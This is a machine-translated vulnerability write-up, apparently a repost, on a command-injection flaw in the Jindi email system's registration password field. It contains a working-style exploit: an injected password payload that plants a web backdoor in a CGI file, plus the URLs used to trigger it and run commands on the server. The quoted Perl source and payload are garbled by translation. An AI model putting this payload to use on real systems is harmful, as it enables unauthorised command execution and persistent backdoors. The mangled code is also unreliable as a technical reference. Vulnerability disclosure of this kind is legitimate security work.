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Jindi email system Remote Command Execution

Source: Internet
Author: User
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Jindi email system Remote Command Execution

Jin Di @ email system is a distributed, large-capacity, high-availability email system developed by Jin Di software for many years. It adopts open technical architectures such as linux, xml, and java, providing high reliability and scalability. It is widely used in e-government websites, golden tax projects, IDCs, and portal websites of various industries.

Test version: jdmail3.14.6.1

Restrictions: User Registration is allowed.


Vulnerability Analysis:


First, you must register an account and send it to the Administrator for review. For example, if the user name is test, change the domain name address:

Username: test

For windows, SET Password: 1 | echo: system ($ B = $ cgi-^> param (a)> user_verify_disagree.cgi;

The official website is the linux version. The local windows test was successful.

In jdwa/cgi/config. cgi, the system function command is called.

# Sub ctrlcmd {my ($ cmd, $ op1) =@_; my $ rep; my $ port =cfg cfg {'ctrlprt '}; $ port = '000000' if! $ Port; my $ admin = & dec_str ($ cfg {'admin'}); my $ pass = & dec_str ($ cfg {'pass '}); my $ ctrl = "$ cfg {'jdmaildir'}/$ ctrlclnt-s localhost-n $ port-u \" $ admin \ "-p \" $ pass \""; if (! $ Op1) {system ("$ ctrl $ cmd");} else {$ rep = '$ ctrl $ cmd';} $ rep ;}





Use it in user_verify_agree.cgi:

#! Perl.exe if ($ ENV {'server _ soft'} = ~ /IIS. \ d +. 0 $/) {my $ cd = $0; $ cd = ~ S/[^ \] * $ //; chdir ($ cd);} require "config. cgi "; use CGI; my $ cgi = new CGI; my % users = (); my $ number = 0; my $ new_user = $ cgi-> param ("checkbox"); my ($ name, $ domain, $ pass1, $ realname, $ depart, $ question, $ answer, $ msg); $ new_user = ~ S/\ s + $ //; if (! $ New_user | $ new_user = ~ /^ \ S + $/) {print "Content-Type: text/html; charset = UTF-8 \ n"; print "CacheControl: no-cache \ nPragma: no-cache \ nExpires:-1 \ n "; print qq ~ <Html>





In the above process, special characters are not filtered by the password, resulting in command injection.



Restrictions: spaces are not allowed.



Method: Write a backdoor to an existing file without spaces. replace it.

Password: 1 | echo: system ($ B = $ cgi-^> param (a)> user_verify_disagree.cgi;

Test exp:

1. Register a user named test123 with the password: 1 | echo: system ($ B = $ cgi-^> param (a)> user_verify_disagree.cgi;

2. Access http: // 127.0.0.1/JDWA/cgi/user_verify_agree.cgi? Checkbox = mailer.com.cn + test123,

An error occurred while prompting for review

3. Access http: // 127.0.0.1/JDWA/cgi/user_verify_agree.cgi? A = dir

The access is successful and the directory can be written.

Solution:

Enhanced Filtering

 

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

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